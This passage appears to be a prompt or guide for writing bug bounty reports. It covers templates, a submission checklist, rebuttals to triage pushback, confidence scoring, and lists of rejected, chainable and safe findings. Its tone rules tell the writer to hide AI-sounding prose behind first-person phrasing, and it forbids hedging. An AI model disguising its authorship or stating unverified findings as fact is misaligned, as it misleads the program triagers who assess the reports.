- <Concrete impact bullet>
---
## Realistic Attack Chain
1. <Step>
2. <Final impact>
Format Rules (non-negotiable)
- Zero fluff. Every sentence must carry technical weight.
- No hedging. Never write "may", "could potentially", "it is possible that". If the code allows it, state it as fact.
- Present tense throughout.
- H1 for the report title. H2 for all top-level sections.
--- as divider after metadata strip and between major sections.
- No tables. No collapsible sections. No emoji.
- PoC steps: numbered, one-line action header (H3), one sentence of context, then screenshot or code block.
Platform Adaptations
| Platform | Additional requirement |
|---|
h1 | Append CVSS 3.1 vector string as code block if --cvss |
immunefi | Add Asset Type, Blockchain/Tech Stack, Vulnerability Category |
bugcrowd | Use Bugcrowd severity labels (P1/P2/P3/P4) alongside plain label |
intigriti | Add Impact tag field to metadata strip |
Report Title Formula
[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]
Good: IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Bad: IDOR vulnerability found
Impact Statement Formula
An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].
Human Tone Rules (Avoid AI-Sounding Writing)
- Start sentences with the impact, not the vulnerability name
- Write like you're explaining to a smart developer, not a textbook
- Use "I" and active voice: "I found that..." not "A vulnerability was discovered..."
- One concrete example beats three abstract sentences
- No em dashes, no "comprehensive/leverage/seamless/ensure"
The 60-Second Pre-Submit Checklist
[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)
Severity Escalation Language
| Program Says | You Counter With |
|---|
| "Requires authentication" | "Attacker needs only a free account (no special role)" |
| "Limited impact" | "Affects [N] users / [PII type] / [$ amount]" |
| "Already known" | "Show me the report number — I searched and found none" |
| "By design" | "Show me the documentation that states this is intended" |
| "Low CVSS score" | "CVSS doesn't account for business impact — attacker can steal [X]" |
Confidence Scoring
Start at 100, deduct:
- Partial attack path: -20
- Bounded, non-compounding impact: -15
- Requires specific (but achievable) state: -10
- Requires user interaction: -10
- Fix already partially mitigates: -10
Confidence ≥ 80 → full description + PoC + fix.
Confidence 60–79 → description + partial PoC.
Below 60 → LEAD only (no fix, no PoC).
ALWAYS REJECTED — Never Submit These
Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover, autocomplete on password fields.
Conditionally Valid With Chain
| Low Finding | + Chain | = Valid Bug |
|---|
| Open redirect | + OAuth code theft | ATO |
| Clickjacking | + sensitive action + PoC | Account action |
| CORS wildcard | + credentialed exfil | Data theft |
| CSRF | + sensitive state change | Account takeover |
| No rate limit | + OTP brute force | ATO |
| SSRF (DNS only) | + internal access proof | Internal network access |
| Host header injection | + password reset poisoning | ATO |
| Self-XSS | + login CSRF | Stored XSS on victim |
Safe Patterns (Do Not Flag)
Smart contracts: unchecked in Solidity 0.8+ with correct reasoning, explicit narrowing casts in 0.8+, MINIMUM_LIQUIDITY burn on first deposit, SafeERC20, nonReentrant (flag only cross-contract), two-step admin transfer, consistent protocol-favoring rounding without compounding.
Web/API: Rate limiting that genuinely prevents exploitation, CSRF tokens that are properly validated, self-XSS without escalation path, logout CSRF without session fixation, non-sensitive information disclosure (stack traces in dev mode only).
Infrastructure/Nodes: Unauthenticated operator RPC (ecosystem standard), plaintext local signer/CL↔EL communication, default bind to 0.0.0.0 (dev convenience), JWT without exp when iat freshness enforced, version/health endpoints without auth, no CORS headers on non-browser APIs.
General: Operator configuration parameters treated as attacker input, "add rate limiting" without amplification attack, "use checked_X instead of saturating_X" when upstream check exists, error messages containing HTTP status codes or generic library errors (not credentials/PII).
RESOURCES